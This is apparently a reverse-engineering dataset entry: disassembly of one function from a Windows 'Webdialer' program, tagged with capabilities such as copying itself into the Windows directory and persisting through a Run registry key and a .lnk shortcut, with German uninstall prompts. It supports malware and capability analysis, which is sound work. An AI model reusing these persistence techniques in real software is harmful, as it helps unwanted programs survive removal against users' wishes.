Function at 0x4030d2
Capabilities:
Copy file
Delete registry key
Get common file path
Persist via lnk shortcut
Persist via run registry key

Disassembly:
mov eax, 0x40e07c
call fcn.00406ce4
sub esp, 0x840
push ebx
push esi
push edi
mov esi, str.SoftwareWebdialer
lea edi, [ebp - 0x540]
push 0x39
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x52d]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x540]
push 0x4111ac
push eax
mov dword [ebp - 0x14], 1
call ebx
lea eax, [ebp - 0x540]
push 0x4164d8
push eax
call ebx
xor esi, esi
cmp dword [0x416d08], esi
jne 0x40316c
push 0xc
call fcn.00406900
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, esi
mov dword [ebp - 4], esi
je 0x403161
lea ecx, [ebp - 0x540]
push 0x80000001
push ecx
mov ecx, eax
call fcn.00402e08
jmp 0x403163
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [0x416d08], eax
push 0xc
call fcn.00406900
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, esi
mov dword [ebp - 4], 1
je 0x403198
push 0x80000001
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov ecx, eax
call fcn.00402e08
mov dword [ebp - 0x10], eax
jmp 0x40319b
mov dword [ebp - 0x10], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00402402
push 0x10
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionUninstallWebdialer__
pop ecx
lea edi, [ebp - 0x644]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x30
xor eax, eax
pop ecx
lea edi, [ebp - 0x603]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x644]
push 0x4163d4
push eax
mov dword [ebp - 4], 2
call ebx
lea eax, [ebp - 0x644]
push str._Reg.N:
push eax
call ebx
lea eax, [ebp - 0x644]
push 0x4164d8
push eax
call ebx
lea eax, [ebp - 0x644]
push 0x80000002
push eax
lea ecx, [ebp - 0x34]
call fcn.00402431
mov al, byte [0x4163c0]
push 0x40
mov byte [ebp - 0x444], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x443]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x4167f4
push 0x104
push edi
push dword [0x4163c8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
mov esi, 0x416b00
je 0x40329f
push 0x104
push edi
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push 0x5c
push edi
call fcn.00402aa0
push 0x5c
push eax
push edi
mov edi, 0x4169fc
push edi
call fcn.00402ac9
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
sub eax, 3
push eax
lea eax, [ebp - 0x444]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0x444]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str..lnk
push esi
call ebx
jmp 0x4032a4
mov edi, 0x4169fc
cmp dword [ebp + 8], 0
je 0x403581
mov dl, byte [0x4163c0]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x33f]
mov byte [ebp - 0x340], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x84b]
mov byte [ebp - 0x84c], dl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x137]
mov byte [ebp - 0x138], dl
rep stosd dword es:[edi], eax
and dword [ebp + 0xc], 0
push 0x4169fc
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
call edi
push 1
pop edx
sub edx, eax
push 0x4167f4
mov dword [ebp + 8], edx
call edi
mov ecx, dword [ebp + 8]
mov edi, 0x4167f4
add ecx, eax
lea eax, [ebp - 0x84c]
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0x340]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
je 0x403691
lea eax, [ebp - 0x340]
push 0x104
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [ebp + eax - 0x340], 0x5c
je 0x403380
lea eax, [ebp - 0x340]
push 0x4111ac
push eax
call ebx
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x138]
push 0x4169fc
push eax
call ebx
lea eax, [ebp - 0x138]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x403557
lea eax, [ebp - 0x138]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x4033d3
mov dword [ebp + 0xc], 1
mov al, byte [0x4163c0]
push 0x40
mov byte [ebp - 0x748], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x747]
rep stosd dword es:[edi], eax
cmp dword [ebp + 0xc], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x403410
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x340]
push eax
push 0x4166f0
call edi
lea eax, [ebp - 0x340]
jmp 0x403438
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x138]
push 0x4167f4
push eax
call edi
lea eax, [ebp - 0x84c]
push eax
push 0x4166f0
call edi
lea eax, [ebp - 0x84c]
push eax
lea eax, [ebp - 0x748]
push eax
call edi
lea eax, [ebp - 0x748]
push eax
push 0
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.00402b9c
lea eax, [ebp - 0x748]
push eax
push 0xb
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.00402b9c
add esp, 0x20
lea eax, [ebp - 0x138]
push 0x41137c
push eax
call ebx
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x138]
push 1
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00402f04
mov esi, str.WebDialer__
lea edi, [ebp - 0x23c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x23c]
push 0x4163d4
push eax
call ebx
lea eax, [ebp - 0x23c]
push str._Reg.N:
push eax
call ebx
lea eax, [ebp - 0x23c]
push 0x4164d8
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x23c]
push 1
push eax
call esi
push eax
lea eax, [ebp - 0x23c]
push eax
push str.DisplayName
lea ecx, [ebp - 0x34]
call fcn.00402645
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x23c]
push 0x41135c
push eax
call ebx
lea eax, [ebp - 0x23c]
push 1
push eax
call esi
push eax
lea eax, [ebp - 0x23c]
push eax
push str.UninstallString
lea ecx, [ebp - 0x34]
call fcn.00402645
lea ecx, [ebp - 0x34]
call fcn.0040285f
mov esi, 0x4166f0
jmp 0x40356a
lea eax, [ebp - 0x84c]
mov esi, 0x4166f0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x444]
push eax
push esi
call ebx
push str..txt
push esi
call ebx
jmp 0x403691
cmp dword [ebp + 0xc], 0
jne 0x4035db
test edi, edi
je 0x4035a1
mov ecx, dword [ebp - 0x10]
push 1
lea eax, [ebp - 0x444]
push 0x4163c0
push eax
call fcn.00402f04
push 2
push esi
call fcn.00402cbd
push 0
push esi
call fcn.00402cbd
push 0xb
push esi
call fcn.00402cbd
push 7
push esi
call fcn.00402cbd
add esp, 0x20
lea eax, [ebp - 0x540]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x403691
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
push SHAppBarMessage
push str.Uninstall
push str.Achtung__Sie_wollen_gerade_die_Zugangs_Software_deinstallieren._Nach_der_Deinstallation_k
push dword [ebp + 0xc]
call ebx
cmp eax, 6
jne 0x40368d
mov eax, edi
mov edi, 0x4163c0
test eax, eax
je 0x40361b
mov ecx, dword [ebp - 0x10]
push 1
lea eax, [ebp - 0x444]
push edi
push eax
call fcn.00402f04
push 2
push esi
call fcn.00402cbd
push 0
push esi
call fcn.00402cbd
push 0xb
push esi
call fcn.00402cbd
push 7
push esi
call fcn.00402cbd
add esp, 0x20
lea ecx, [ebp - 0x34]
push 1
push 0
push edi
push str.DisplayName
call fcn.00402645
push 1
push 0
push edi
push str.UninstallString
lea ecx, [ebp - 0x34]
call fcn.00402645
lea ecx, [ebp - 0x34]
call fcn.0040285f
lea ecx, [ebp - 0x34]
call fcn.00402a23
push 0x24
push str.Uninstall
push str.Sollen_Ihre_pers
push dword [ebp + 0xc]
call ebx
cmp eax, 6
je 0x403691
jmp 0x4035c4
and dword [ebp - 0x14], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00402410
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret